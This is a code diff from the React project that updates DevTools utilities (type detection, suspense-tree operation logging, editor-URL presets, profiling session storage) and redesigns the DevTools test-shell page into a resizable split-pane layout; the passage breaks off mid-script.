index 5b0903883c30..66de8440b65e 100644
--- a/packages/react-devtools-shared/src/utils.js
+++ b/packages/react-devtools-shared/src/utils.js
@@ -8,54 +8,46 @@
  */
 
 import LRU from 'lru-cache';
-import {
-  isElement,
-  typeOf,
-  ContextConsumer,
-  ContextProvider,
-  ForwardRef,
-  Fragment,
-  Lazy,
-  Memo,
-  Portal,
-  Profiler,
-  StrictMode,
-  Suspense,
-} from 'react-is';
 import {
   REACT_CONSUMER_TYPE,
   REACT_CONTEXT_TYPE,
   REACT_FORWARD_REF_TYPE,
   REACT_FRAGMENT_TYPE,
   REACT_LAZY_TYPE,
+  REACT_ELEMENT_TYPE,
   REACT_LEGACY_ELEMENT_TYPE,
   REACT_MEMO_TYPE,
   REACT_PORTAL_TYPE,
   REACT_PROFILER_TYPE,
-  REACT_PROVIDER_TYPE,
   REACT_STRICT_MODE_TYPE,
   REACT_SUSPENSE_LIST_TYPE,
-  REACT_SUSPENSE_LIST_TYPE as SuspenseList,
   REACT_SUSPENSE_TYPE,
-  REACT_TRACING_MARKER_TYPE as TracingMarker,
+  REACT_TRACING_MARKER_TYPE,
+  REACT_VIEW_TRANSITION_TYPE,
 } from 'shared/ReactSymbols';
-import {enableRenderableContext} from 'shared/ReactFeatureFlags';
 import {
   TREE_OPERATION_ADD,
   TREE_OPERATION_REMOVE,
-  TREE_OPERATION_REMOVE_ROOT,
   TREE_OPERATION_REORDER_CHILDREN,
   TREE_OPERATION_SET_SUBTREE_MODE,
   TREE_OPERATION_UPDATE_ERRORS_OR_WARNINGS,
   TREE_OPERATION_UPDATE_TREE_BASE_DURATION,
+  TREE_OPERATION_APPLIED_ACTIVITY_SLICE_CHANGE,
   LOCAL_STORAGE_COMPONENT_FILTER_PREFERENCES_KEY,
   LOCAL_STORAGE_OPEN_IN_EDITOR_URL,
-  LOCAL_STORAGE_SHOULD_BREAK_ON_CONSOLE_ERRORS,
-  LOCAL_STORAGE_SHOULD_APPEND_COMPONENT_STACK_KEY,
-  LOCAL_STORAGE_SHOW_INLINE_WARNINGS_AND_ERRORS_KEY,
-  LOCAL_STORAGE_HIDE_CONSOLE_LOGS_IN_STRICT_MODE,
+  LOCAL_STORAGE_OPEN_IN_EDITOR_URL_PRESET,
+  LOCAL_STORAGE_ALWAYS_OPEN_IN_EDITOR,
+  SESSION_STORAGE_RELOAD_AND_PROFILE_KEY,
+  SESSION_STORAGE_RECORD_CHANGE_DESCRIPTIONS_KEY,
+  SESSION_STORAGE_RECORD_TIMELINE_KEY,
+  SUSPENSE_TREE_OPERATION_ADD,
+  SUSPENSE_TREE_OPERATION_REMOVE,
+  SUSPENSE_TREE_OPERATION_REORDER_CHILDREN,
+  SUSPENSE_TREE_OPERATION_RESIZE,
+  SUSPENSE_TREE_OPERATION_SUSPENDERS,
 } from './constants';
 import {
+  ComponentFilterActivitySlice,
   ComponentFilterElementType,
   ComponentFilterLocation,
   ElementTypeHostComponent,
@@ -66,19 +58,29 @@ import {
   ElementTypeForwardRef,
   ElementTypeFunction,
   ElementTypeMemo,
+  ElementTypeVirtual,
 } from 'react-devtools-shared/src/frontend/types';
-import {localStorageGetItem, localStorageSetItem} from './storage';
+import {
+  localStorageGetItem,
+  localStorageSetItem,
+  sessionStorageGetItem,
+  sessionStorageRemoveItem,
+  sessionStorageSetItem,
+} from 'react-devtools-shared/src/storage';
 import {meta} from './hydration';
 import isArray from './isArray';
 
 import type {
   ComponentFilter,
   ElementType,
-  BrowserTheme,
   SerializedElement as SerializedElementFrontend,
   LRUCache,
 } from 'react-devtools-shared/src/frontend/types';
-import type {SerializedElement as SerializedElementBackend} from 'react-devtools-shared/src/backend/types';
+import type {
+  ProfilingSettings,
+  SerializedElement as SerializedElementBackend,
+} from 'react-devtools-shared/src/backend/types';
+import {isSynchronousXHRSupported} from './backend/utils';
 
 // $FlowFixMe[method-unbinding]
 const hasOwnProperty = Object.prototype.hasOwnProperty;
@@ -91,6 +93,9 @@ const encodedStringCache: LRUCache<string, Array<number>> = new LRU({
   max: 1000,
 });
 
+// Previously, the type of `Context.Provider`.
+const LEGACY_REACT_PROVIDER_TYPE: symbol = Symbol.for('react.provider');
+
 export function alphaSortKeys(
   a: string | number | symbol,
   b: string | number | symbol,
@@ -269,6 +274,7 @@ export function printOperationsArray(operations: Array<number>) {
           i++;
 
           i++; // key
+          i++; // name
 
           logs.push(
             `Add node ${id} (${displayName || 'null'}) as child of ${parentID}`,
@@ -288,15 +294,9 @@ export function printOperationsArray(operations: Array<number>) {
         }
         break;
       }
-      case TREE_OPERATION_REMOVE_ROOT: {
-        i += 1;
-
-        logs.push(`Remove root ${rootID}`);
-        break;
-      }
       case TREE_OPERATION_SET_SUBTREE_MODE: {
         const id = operations[i + 1];
-        const mode = operations[i + 1];
+        const mode = operations[i + 2];
 
         i += 3;
 
@@ -319,7 +319,7 @@ export function printOperationsArray(operations: Array<number>) {
         // The profiler UI uses them lazily in order to generate the tree.
         i += 3;
         break;
-      case TREE_OPERATION_UPDATE_ERRORS_OR_WARNINGS:
+      case TREE_OPERATION_UPDATE_ERRORS_OR_WARNINGS: {
         const id = operations[i + 1];
         const numErrors = operations[i + 2];
         const numWarnings = operations[i + 3];
@@ -330,6 +330,124 @@ export function printOperationsArray(operations: Array<number>) {
           `Node ${id} has ${numErrors} errors and ${numWarnings} warnings`,
         );
         break;
+      }
+      case SUSPENSE_TREE_OPERATION_ADD: {
+        const fiberID = operations[i + 1];
+        const parentID = operations[i + 2];
+        const nameStringID = operations[i + 3];
+        const isSuspended = operations[i + 4];
+        const numRects = operations[i + 5];
+
+        i += 6;
+
+        const name = stringTable[nameStringID];
+        let rects: string;
+        if (numRects === -1) {
+          rects = 'null';
+        } else {
+          rects = '[';
+          for (let rectIndex = 0; rectIndex < numRects; rectIndex++) {
+            const offset = i + rectIndex * 4;
+            const x = operations[offset + 0];
+            const y = operations[offset + 1];
+            const width = operations[offset + 2];
+            const height = operations[offset + 3];
+
+            if (rectIndex > 0) {
+              rects += ', ';
+            }
+            rects += `(${x}, ${y}, ${width}, ${height})`;
+
+            i += 4;
+          }
+          rects += ']';
+        }
+
+        logs.push(
+          `Add suspense node ${fiberID} (${String(name)},rects={${rects}}) under ${parentID} suspended ${isSuspended}`,
+        );
+        break;
+      }
+      case SUSPENSE_TREE_OPERATION_REMOVE: {
+        const removeLength = ((operations[i + 1]: any): number);
+        i += 2;
+
+        for (let removeIndex = 0; removeIndex < removeLength; removeIndex++) {
+          const id = ((operations[i]: any): number);
+          i += 1;
+
+          logs.push(`Remove suspense node ${id}`);
+        }
+
+        break;
+      }
+      case SUSPENSE_TREE_OPERATION_REORDER_CHILDREN: {
+        const id = ((operations[i + 1]: any): number);
+        const numChildren = ((operations[i + 2]: any): number);
+        i += 3;
+        const children = operations.slice(i, i + numChildren);
+        i += numChildren;
+
+        logs.push(
+          `Re-order suspense node ${id} children ${children.join(',')}`,
+        );
+        break;
+      }
+      case SUSPENSE_TREE_OPERATION_RESIZE: {
+        const id = ((operations[i + 1]: any): number);
+        const numRects = ((operations[i + 2]: any): number);
+        i += 3;
+
+        if (numRects === -1) {
+          logs.push(`Resize suspense node ${id} to null`);
+        } else {
+          let line = `Resize suspense node ${id} to [`;
+          for (let rectIndex = 0; rectIndex < numRects; rectIndex++) {
+            const x = operations[i + 0];
+            const y = operations[i + 1];
+            const width = operations[i + 2];
+            const height = operations[i + 3];
+
+            if (rectIndex > 0) {
+              line += ', ';
+            }
+            line += `(${x}, ${y}, ${width}, ${height})`;
+
+            i += 4;
+          }
+          logs.push(line + ']');
+        }
+
+        break;
+      }
+      case SUSPENSE_TREE_OPERATION_SUSPENDERS: {
+        i++;
+        const changeLength = ((operations[i++]: any): number);
+
+        for (let changeIndex = 0; changeIndex < changeLength; changeIndex++) {
+          const id = operations[i++];
+          const hasUniqueSuspenders = operations[i++] === 1;
+          const endTime = operations[i++] / 1000;
+          const isSuspended = operations[i++] === 1;
+          const environmentNamesLength = operations[i++];
+          i += environmentNamesLength;
+          logs.push(
+            `Suspense node ${id} unique suspenders set to ${String(hasUniqueSuspenders)} ending at ${String(endTime)} is suspended set to ${String(isSuspended)} with ${String(environmentNamesLength)} environments`,
+          );
+        }
+
+        break;
+      }
+      case TREE_OPERATION_APPLIED_ACTIVITY_SLICE_CHANGE: {
+        i++;
+        const activitySliceIDChange = operations[i + 1];
+        logs.push(
+          activitySliceIDChange === 0
+            ? 'Reset applied activity slice'
+            : 'Applied activity slice change to ' + activitySliceIDChange,
+        );
+        break;
+      }
       default:
         throw Error(`Unsupported Bridge operation "${operation}"`);
     }
@@ -355,7 +473,7 @@ export function getSavedComponentFilters(): Array<ComponentFilter> {
     );
     if (raw != null) {
       const parsedFilters: Array<ComponentFilter> = JSON.parse(raw);
-      return filterOutLocationComponentFilters(parsedFilters);
+      return persistableComponentFilters(parsedFilters);
     }
   } catch (error) {}
   return getDefaultComponentFilters();
@@ -366,16 +484,11 @@ export function setSavedComponentFilters(
 ): void {
   localStorageSetItem(
     LOCAL_STORAGE_COMPONENT_FILTER_PREFERENCES_KEY,
-    JSON.stringify(filterOutLocationComponentFilters(componentFilters)),
+    JSON.stringify(persistableComponentFilters(componentFilters)),
   );
 }
 
-// Following __debugSource removal from Fiber, the new approach for finding the source location
-// of a component, represented by the Fiber, is based on lazily generating and parsing component stack frames
-// To find the original location, React DevTools will perform symbolication, source maps are required for that.
-// In order to start filtering Fibers, we need to find location for all of them, which can't be done lazily.
-// Eager symbolication can become quite expensive for large applications.
-export function filterOutLocationComponentFilters(
+export function persistableComponentFilters(
   componentFilters: Array<ComponentFilter>,
 ): Array<ComponentFilter> {
   // This is just an additional check to preserve the previous state
@@ -384,64 +497,41 @@ export function filterOutLocationComponentFilters(
     return componentFilters;
   }
 
-  return componentFilters.filter(f => f.type !== ComponentFilterLocation);
-}
-
-function parseBool(s: ?string): ?boolean {
-  if (s === 'true') {
-    return true;
-  }
-  if (s === 'false') {
-    return false;
-  }
-}
-
-export function castBool(v: any): ?boolean {
-  if (v === true || v === false) {
-    return v;
-  }
-}
-
-export function castBrowserTheme(v: any): ?BrowserTheme {
-  if (v === 'light' || v === 'dark' || v === 'auto') {
-    return v;
-  }
-}
-
-export function getAppendComponentStack(): boolean {
-  const raw = localStorageGetItem(
-    LOCAL_STORAGE_SHOULD_APPEND_COMPONENT_STACK_KEY,
-  );
-  return parseBool(raw) ?? true;
-}
-
-export function getBreakOnConsoleErrors(): boolean {
-  const raw = localStorageGetItem(LOCAL_STORAGE_SHOULD_BREAK_ON_CONSOLE_ERRORS);
-  return parseBool(raw) ?? false;
+  return componentFilters.filter(f => {
+    return (
+      // Following __debugSource removal from Fiber, the new approach for finding the source location
+      // of a component, represented by the Fiber, is based on lazily generating and parsing component stack frames
+      // To find the original location, React DevTools will perform symbolication, source maps are required for that.
+      // In order to start filtering Fibers, we need to find location for all of them, which can't be done lazily.
+      // Eager symbolication can become quite expensive for large applications.
+      f.type !== ComponentFilterLocation &&
+      // Activity slice filters are based on DevTools instance IDs which do not persist across sessions.
+      f.type !== ComponentFilterActivitySlice
+    );
+  });
 }
 
-export function getHideConsoleLogsInStrictMode(): boolean {
-  const raw = localStorageGetItem(
-    LOCAL_STORAGE_HIDE_CONSOLE_LOGS_IN_STRICT_MODE,
-  );
-  return parseBool(raw) ?? false;
-}
+const vscodeFilepath = 'vscode://file/{path}:{line}:{column}';
 
-export function getShowInlineWarningsAndErrors(): boolean {
-  const raw = localStorageGetItem(
-    LOCAL_STORAGE_SHOW_INLINE_WARNINGS_AND_ERRORS_KEY,
-  );
-  return parseBool(raw) ?? true;
+export function getDefaultPreset(): 'custom' | 'vscode' {
+  return typeof process.env.EDITOR_URL === 'string' ? 'custom' : 'vscode';
 }
 
 export function getDefaultOpenInEditorURL(): string {
   return typeof process.env.EDITOR_URL === 'string'
     ? process.env.EDITOR_URL
-    : '';
+    : vscodeFilepath;
 }
 
 export function getOpenInEditorURL(): string {
   try {
+    const rawPreset = localStorageGetItem(
+      LOCAL_STORAGE_OPEN_IN_EDITOR_URL_PRESET,
+    );
+    switch (rawPreset) {
+      case '"vscode"':
+        return vscodeFilepath;
+    }
     const raw = localStorageGetItem(LOCAL_STORAGE_OPEN_IN_EDITOR_URL);
     if (raw != null) {
       return JSON.parse(raw);
@@ -450,6 +540,14 @@ export function getOpenInEditorURL(): string {
   return getDefaultOpenInEditorURL();
 }
 
+export function getAlwaysOpenInEditor(): boolean {
+  try {
+    const raw = localStorageGetItem(LOCAL_STORAGE_ALWAYS_OPEN_IN_EDITOR);
+    return raw === 'true';
+  } catch (error) {}
+  return false;
+}
+
 type ParseElementDisplayNameFromBackendReturn = {
   formattedDisplayName: string | null,
   hocDisplayNames: Array<string> | null,
@@ -484,9 +582,11 @@ export function parseElementDisplayNameFromBackend(
     case ElementTypeForwardRef:
     case ElementTypeFunction:
     case ElementTypeMemo:
+    case ElementTypeVirtual:
       if (displayName.indexOf('(') >= 0) {
         const matches = displayName.match(/[^()]+/g);
         if (matches != null) {
+          // $FlowFixMe[incompatible-type]
           displayName = matches.pop();
           hocDisplayNames = matches;
         }
@@ -497,6 +597,7 @@ export function parseElementDisplayNameFromBackend(
   }
 
   return {
+    // $FlowFixMe[incompatible-return]
     formattedDisplayName: displayName,
     hocDisplayNames,
     compiledWithForget: false,
@@ -602,6 +703,7 @@ export type DataType =
   | 'class_instance'
   | 'data_view'
   | 'date'
+  | 'error'
   | 'function'
   | 'html_all_collection'
   | 'html_element'
@@ -611,8 +713,10 @@ export type DataType =
   | 'nan'
   | 'null'
   | 'number'
+  | 'thenable'
   | 'object'
   | 'react_element'
+  | 'react_lazy'
   | 'regexp'
   | 'string'
   | 'symbol'
@@ -620,6 +724,21 @@ export type DataType =
   | 'undefined'
   | 'unknown';
 
+function isError(data: Object): boolean {
+  // If it doesn't event look like an error, it won't be an actual error.
+  if ('name' in data && 'message' in data) {
+    while (data) {
+      // $FlowFixMe[method-unbinding]
+      if (Object.prototype.toString.call(data) === '[object Error]') {
+        return true;
+      }
+      data = Object.getPrototypeOf(data);
+    }
+  }
+
+  return false;
+}
+
 /**
  * Get a enhanced/artificial type string based on the object instance
  */
@@ -630,10 +749,6 @@ export function getDataType(data: Object): DataType {
     return 'undefined';
   }
 
-  if (isElement(data)) {
-    return 'react_element';
-  }
-
   if (typeof HTMLElement !== 'undefined' && data instanceof HTMLElement) {
     return 'html_element';
   }
@@ -655,6 +770,13 @@ export function getDataType(data: Object): DataType {
         return 'number';
       }
     case 'object':
+      switch (data.$$typeof) {
+        case REACT_ELEMENT_TYPE:
+        case REACT_LEGACY_ELEMENT_TYPE:
+          return 'react_element';
+        case REACT_LAZY_TYPE:
+          return 'react_lazy';
+      }
       if (isArray(data)) {
         return 'array';
       } else if (ArrayBuffer.isView(data)) {
@@ -677,6 +799,10 @@ export function getDataType(data: Object): DataType {
         }
       } else if (data.constructor && data.constructor.name === 'RegExp') {
         return 'regexp';
+      } else if (typeof data.then === 'function') {
+        return 'thenable';
+      } else if (isError(data)) {
+        return 'error';
       } else {
         // $FlowFixMe[method-unbinding]
         const toStringValue = Object.prototype.toString.call(data);
@@ -715,6 +841,7 @@ function typeOfWithLegacyElementSymbol(object: any): mixed {
   if (typeof object === 'object' && object !== null) {
     const $$typeof = object.$$typeof;
     switch ($$typeof) {
+      case REACT_ELEMENT_TYPE:
       case REACT_LEGACY_ELEMENT_TYPE:
         const type = object.type;
 
@@ -724,6 +851,7 @@ function typeOfWithLegacyElementSymbol(object: any): mixed {
           case REACT_STRICT_MODE_TYPE:
           case REACT_SUSPENSE_TYPE:
           case REACT_SUSPENSE_LIST_TYPE:
+          case REACT_VIEW_TRANSITION_TYPE:
             return type;
           default:
             const $$typeofType = type && type.$$typeof;
@@ -735,14 +863,7 @@ function typeOfWithLegacyElementSymbol(object: any): mixed {
               case REACT_MEMO_TYPE:
                 return $$typeofType;
               case REACT_CONSUMER_TYPE:
-                if (enableRenderableContext) {
-                  return $$typeofType;
-                }
-              // Fall through
-              case REACT_PROVIDER_TYPE:
-                if (!enableRenderableContext) {
-                  return $$typeofType;
-                }
+                return $$typeofType;
               // Fall through
               default:
                 return $$typeof;
@@ -759,31 +880,35 @@ function typeOfWithLegacyElementSymbol(object: any): mixed {
 export function getDisplayNameForReactElement(
   element: React$Element<any>,
 ): string | null {
-  const elementType = typeOf(element) || typeOfWithLegacyElementSymbol(element);
+  const elementType = typeOfWithLegacyElementSymbol(element);
   switch (elementType) {
-    case ContextConsumer:
+    case REACT_CONSUMER_TYPE:
       return 'ContextConsumer';
-    case ContextProvider:
+    case LEGACY_REACT_PROVIDER_TYPE:
       return 'ContextProvider';
-    case ForwardRef:
+    case REACT_CONTEXT_TYPE:
+      return 'Context';
+    case REACT_FORWARD_REF_TYPE:
       return 'ForwardRef';
-    case Fragment:
+    case REACT_FRAGMENT_TYPE:
       return 'Fragment';
-    case Lazy:
+    case REACT_LAZY_TYPE:
       return 'Lazy';
-    case Memo:
+    case REACT_MEMO_TYPE:
       return 'Memo';
-    case Portal:
+    case REACT_PORTAL_TYPE:
       return 'Portal';
-    case Profiler:
+    case REACT_PROFILER_TYPE:
       return 'Profiler';
-    case StrictMode:
+    case REACT_STRICT_MODE_TYPE:
       return 'StrictMode';
-    case Suspense:
+    case REACT_SUSPENSE_TYPE:
       return 'Suspense';
-    case SuspenseList:
+    case REACT_SUSPENSE_LIST_TYPE:
       return 'SuspenseList';
-    case TracingMarker:
+    case REACT_VIEW_TRANSITION_TYPE:
+      return 'ViewTransition';
+    case REACT_TRACING_MARKER_TYPE:
       return 'TracingMarker';
     default:
       const {type} = element;
@@ -850,9 +975,10 @@ export function formatDataForPreview(
     case 'html_element':
       return `<${truncateForDisplay(data.tagName.toLowerCase())} />`;
     case 'function':
-      return truncateForDisplay(
-        `ƒ ${typeof data.name === 'function' ? '' : data.name}() {}`,
-      );
+      if (typeof data.name === 'function' || data.name === '') {
+        return '() => {}';
+      }
+      return `${truncateForDisplay(data.name)}() {}`;
     case 'string':
       return `"${data}"`;
     case 'bigint':
@@ -865,6 +991,62 @@ export function formatDataForPreview(
       return `<${truncateForDisplay(
         getDisplayNameForReactElement(data) || 'Unknown',
       )} />`;
+    case 'react_lazy':
+      // To avoid actually initialize a lazy to cause a side-effect we make some assumptions
+      // about the structure of the payload even though that's not really part of the contract.
+      // In practice, this is really just coming from React.lazy helper or Flight.
+      const payload = data._payload;
+      if (payload !== null && typeof payload === 'object') {
+        if (payload._status === 0) {
+          // React.lazy constructor pending
+          return `pending lazy()`;
+        }
+        if (payload._status === 1 && payload._result != null) {
+          // React.lazy constructor fulfilled
+          if (showFormattedValue) {
+            const formatted = formatDataForPreview(
+              payload._result.default,
+              false,
+            );
+            return `fulfilled lazy() {${truncateForDisplay(formatted)}}`;
+          } else {
+            return `fulfilled lazy() {…}`;
+          }
+        }
+        if (payload._status === 2) {
+          // React.lazy constructor rejected
+          if (showFormattedValue) {
+            const formatted = formatDataForPreview(payload._result, false);
+            return `rejected lazy() {${truncateForDisplay(formatted)}}`;
+          } else {
+            return `rejected lazy() {…}`;
+          }
+        }
+        if (payload.status === 'pending' || payload.status === 'blocked') {
+          // React Flight pending
+          return `pending lazy()`;
+        }
+        if (payload.status === 'fulfilled') {
+          // React Flight fulfilled
+          if (showFormattedValue) {
+            const formatted = formatDataForPreview(payload.value, false);
+            return `fulfilled lazy() {${truncateForDisplay(formatted)}}`;
+          } else {
+            return `fulfilled lazy() {…}`;
+          }
+        }
+        if (payload.status === 'rejected') {
+          // React Flight rejected
+          if (showFormattedValue) {
+            const formatted = formatDataForPreview(payload.reason, false);
+            return `rejected lazy() {${truncateForDisplay(formatted)}}`;
+          } else {
+            return `rejected lazy() {…}`;
+          }
+        }
+      }
+      // Some form of uninitialized
+      return 'lazy()';
     case 'array_buffer':
       return `ArrayBuffer(${data.byteLength})`;
     case 'data_view':
@@ -954,7 +1136,61 @@ export function formatDataForPreview(
     case 'date':
       return data.toString();
     case 'class_instance':
-      return data.constructor.name;
+      try {
+        let resolvedConstructorName = data.constructor.name;
+        if (typeof resolvedConstructorName === 'string') {
+          return resolvedConstructorName;
+        }
+
+        resolvedConstructorName = Object.getPrototypeOf(data).constructor.name;
+        if (typeof resolvedConstructorName === 'string') {
+          return resolvedConstructorName;
+        }
+
+        try {
+          return truncateForDisplay(String(data));
+        } catch (error) {
+          return 'unserializable';
+        }
+      } catch (error) {
+        return 'unserializable';
+      }
+    case 'thenable':
+      let displayName: string;
+      if (isPlainObject(data)) {
+        displayName = 'Thenable';
+      } else {
+        let resolvedConstructorName = data.constructor.name;
+        if (typeof resolvedConstructorName !== 'string') {
+          resolvedConstructorName =
+            Object.getPrototypeOf(data).constructor.name;
+        }
+        if (typeof resolvedConstructorName === 'string') {
+          displayName = resolvedConstructorName;
+        } else {
+          displayName = 'Thenable';
+        }
+      }
+      switch (data.status) {
+        case 'pending':
+          return `pending ${displayName}`;
+        case 'fulfilled':
+          if (showFormattedValue) {
+            const formatted = formatDataForPreview(data.value, false);
+            return `fulfilled ${displayName} {${truncateForDisplay(formatted)}}`;
+          } else {
+            return `fulfilled ${displayName} {…}`;
+          }
+        case 'rejected':
+          if (showFormattedValue) {
+            const formatted = formatDataForPreview(data.reason, false);
+            return `rejected ${displayName} {${truncateForDisplay(formatted)}}`;
+          } else {
+            return `rejected ${displayName} {…}`;
+          }
+        default:
+          return displayName;
+      }
     case 'object':
       if (showFormattedValue) {
         const keys = Array.from(getAllEnumerableKeys(data)).sort(alphaSortKeys);
@@ -978,13 +1214,15 @@ export function formatDataForPreview(
       } else {
         return '{…}';
       }
+    case 'error':
+      return truncateForDisplay(String(data));
     case 'boolean':
     case 'number':
     case 'infinity':
     case 'nan':
     case 'null':
     case 'undefined':
-      return data;
+      return String(data);
     default:
       try {
         return truncateForDisplay(String(data));
@@ -1017,7 +1255,80 @@ export function backendToFrontendSerializedElementMapper(
   };
 }
 
-// This is a hacky one to just support this exact case.
-export function normalizeUrl(url: string): string {
-  return url.replace('/./', '/');
+/**
+ * Should be used when treating url as a Chrome Resource URL.
+ */
+export function normalizeUrlIfValid(url: string): string {
+  try {
+    // TODO: Chrome will use the basepath to create a Resource URL.
+    return new URL(url).toString();
+  } catch {
+    // Giving up if it's not a valid URL without basepath
+    return url;
+  }
+}
+
+export function getIsReloadAndProfileSupported(): boolean {
+  // Notify the frontend if the backend supports the Storage API (e.g. localStorage).
+  // If not, features like reload-and-profile will not work correctly and must be disabled.
+  let isBackendStorageAPISupported = false;
+  try {
+    localStorage.getItem('test');
+    isBackendStorageAPISupported = true;
+  } catch (error) {}
+
+  return isBackendStorageAPISupported && isSynchronousXHRSupported();
+}
+
+// Expected to be used only by browser extension and react-devtools-inline
+export function getIfReloadedAndProfiling(): boolean {
+  return (
+    sessionStorageGetItem(SESSION_STORAGE_RELOAD_AND_PROFILE_KEY) === 'true'
+  );
+}
+
+export function getProfilingSettings(): ProfilingSettings {
+  return {
+    recordChangeDescriptions:
+      sessionStorageGetItem(SESSION_STORAGE_RECORD_CHANGE_DESCRIPTIONS_KEY) ===
+      'true',
+    recordTimeline:
+      sessionStorageGetItem(SESSION_STORAGE_RECORD_TIMELINE_KEY) === 'true',
+  };
+}
+
+export function onReloadAndProfile(
+  recordChangeDescriptions: boolean,
+  recordTimeline: boolean,
+): void {
+  sessionStorageSetItem(SESSION_STORAGE_RELOAD_AND_PROFILE_KEY, 'true');
+  sessionStorageSetItem(
+    SESSION_STORAGE_RECORD_CHANGE_DESCRIPTIONS_KEY,
+    recordChangeDescriptions ? 'true' : 'false',
+  );
+  sessionStorageSetItem(
+    SESSION_STORAGE_RECORD_TIMELINE_KEY,
+    recordTimeline ? 'true' : 'false',
+  );
+}
+
+export function onReloadAndProfileFlagsReset(): void {
+  sessionStorageRemoveItem(SESSION_STORAGE_RELOAD_AND_PROFILE_KEY);
+  sessionStorageRemoveItem(SESSION_STORAGE_RECORD_CHANGE_DESCRIPTIONS_KEY);
+  sessionStorageRemoveItem(SESSION_STORAGE_RECORD_TIMELINE_KEY);
+}
+
+export function unionOfTwoArrays<T>(a: Array<T>, b: Array<T>): Array<T> {
+  let result = a;
+  for (let i = 0; i < b.length; i++) {
+    const value = b[i];
+    if (a.indexOf(value) === -1) {
+      if (result === a) {
+        // Lazily copy
+        result = a.slice(0);
+      }
+      result.push(value);
+    }
+  }
+  return result;
 }
diff --git a/packages/react-devtools-shell/README.md b/packages/react-devtools-shell/README.md
index da572de45364..0a78ebc86b1d 100644
--- a/packages/react-devtools-shell/README.md
+++ b/packages/react-devtools-shell/README.md
@@ -2,7 +2,7 @@ Harness for testing local changes to the `react-devtools-inline` and `react-devt
 
 ## Development
 
-This target should be run in parallel with the `react-devtools-inline` package. The first step then is to run that target following the instructions in the [`react-devtools-inline` README's local development section](https://github.com/facebook/react/tree/main/packages/react-devtools-inline#local-development).
+This target should be run in parallel with the `react-devtools-inline` package. The first step then is to run that target following the instructions in the [`react-devtools-inline` README's local development section](../react-devtools-inline/README.md#local-development).
 
 The test harness can then be run as follows:
 ```sh
diff --git a/packages/react-devtools-shell/index.html b/packages/react-devtools-shell/index.html
index 4cde55278a9a..87352e2f82f3 100644
--- a/packages/react-devtools-shell/index.html
+++ b/packages/react-devtools-shell/index.html
@@ -1,74 +1,215 @@
 <!doctype html>
 <html>
-  <head>
-    <meta charset="utf8">
-    <title>React DevTools</title>
-    <meta name="viewport" content="width=device-width, initial-scale=1">
-    <style>
-      #target {
-        flex: 1;
-        border: none;
-      }
-      #devtools {
-        height: 400px;
-        max-height: 50%;
-        overflow: hidden;
-        z-index: 10000001;
-      }
-      body {
-        display: flex;
-        flex-direction: column;
-        position: absolute;
-        top: 0;
-        left: 0;
-        right: 0;
-        bottom: 0;
-        margin: 0;
-        padding: 0;
-        font-family: -apple-system, BlinkMacSystemFont, Segoe UI, Helvetica, Arial,
-          sans-serif, Apple Color Emoji, Segoe UI Emoji, Segoe UI Symbol;
-        font-size: 12px;
-        line-height: 1.5;
-      }
-      .optionsRow {
-        width: 100%;
-        display: flex;
-        padding: 0.25rem;
-        background: aliceblue;
-        border-bottom: 1px solid lightblue;
-        box-sizing: border-box;
-      }
-      .optionsRowSpacer {
-        flex: 1;
-      }
-    </style>
-  </head>
-  <body>
-    <div class="optionsRow">
-      <button id="mountButton">Unmount test app</button>
-      <div class="optionsRowSpacer">&nbsp;</div>
-      <span>
-        <a href="/multi.html">multi DevTools</a>
-        |
-        <a href="/e2e.html">e2e tests</a>
-        |
-        <a href="/e2e-regression.html">e2e regression tests</a>
-        |
-        <a href="/perf-regression.html">perf regression tests</a>
-      </span>
-    </div>
 
+<head>
+  <meta charset="utf8">
+  <title>React DevTools</title>
+  <meta name="viewport" content="width=device-width, initial-scale=1">
+  <style>
+    #panes {
+      display: grid;
+      gap: 5px;
+      position: relative;
+      overflow: hidden;
+    }
+
+    #divider {
+      position: absolute;
+      z-index: 10000002;
+      background-color: #ccc;
+      transition: background-color 0.2s;
+    }
+
+    #divider:hover,
+    #divider.dragging {
+      background-color: #aaa;
+    }
+
+    #divider.horizontal-divider {
+      width: 100%;
+      height: 5px;
+      cursor: row-resize;
+    }
+
+    #divider.vertical-divider {
+      width: 5px;
+      height: 100%;
+      cursor: col-resize;
+    }
+
+    #target {
+      height: 100%;
+      width: 100%;
+      border: none;
+      overflow-y: auto;
+    }
+
+    #devtools {
+      height: 100%;
+      width: 100%;
+      overflow-y: auto;
+      z-index: 10000001;
+    }
+
+    body {
+      height: 100vh;
+      width: 100vw;
+      display: grid;
+      grid-template-rows: auto 1fr;
+      margin: 0;
+      padding: 0;
+      font-family: -apple-system, BlinkMacSystemFont, Segoe UI, Helvetica, Arial,
+        sans-serif, Apple Color Emoji, Segoe UI Emoji, Segoe UI Symbol;
+      font-size: 12px;
+      line-height: 1.5;
+    }
+
+    .optionsRow {
+      width: 100%;
+      display: flex;
+      padding: 0.25rem;
+      background: aliceblue;
+      border-bottom: 1px solid lightblue;
+      box-sizing: border-box;
+    }
+
+    .optionsRowSpacer {
+      flex: 1;
+    }
+  </style>
+</head>
+
+<body>
+  <div class="optionsRow">
+    <button id="mountButton">Unmount test app</button>
+    <div class="optionsRowSpacer">&nbsp;</div>
+    <span>
+      <a href="/multi.html">multi DevTools</a>
+      |
+      <a href="/e2e.html">e2e tests</a>
+      |
+      <a href="/e2e-regression.html">e2e regression tests</a>
+      |
+      <a href="/perf-regression.html">perf regression tests</a>
+    </span>
+
+    <label style="margin-left: 4px">
+      Layout:
+      <select id="layout">
+        <option value="leftright">Left/Right Split</option>
+        <option value="topbottom">Top/Bottom Split</option>
+      </select></label>
+  </div>
+
+  <div id="panes">
     <!-- React test app (shells/dev/app) is injected here -->
     <!-- DevTools backend (shells/dev/src) is injected here -->
     <!-- global "hook" is defined on the iframe's contentWindow -->
     <iframe id="target"></iframe>
 
+    <!-- Draggable divider between panes -->
+    <div id="divider"></div>
+
     <!-- DevTools frontend UI (shells/dev/src) renders here -->
     <div id="devtools"></div>
+  </div>
+
+  <!-- This script installs the hook, injects the backend, and renders the DevTools UI -->
+  <!-- In DEV mode, this file is served by the Webpack dev server -->
+  <!-- For production builds, it's built by Webpack and uploaded from the local file system -->
+  <script src="dist/app-devtools.js"></script>
+  <script type="module">
+    let layoutType = 'leftright';
+    let splitRatio = 0.5;
+    let isDragging = false;
+
+    // handle layout changes
+    const layout = document.getElementById('layout');
+    function setLayout(layoutType, splitRatio) {
+      const panes = document.getElementById('panes');
+      if (layoutType === 'topbottom') {
+        panes.style.setProperty('--top-row-height', `${splitRatio * 100}%`);
+        panes.style.gridTemplateRows = "var(--top-row-height) 1fr";
+        panes.style.gridTemplateColumns = null;
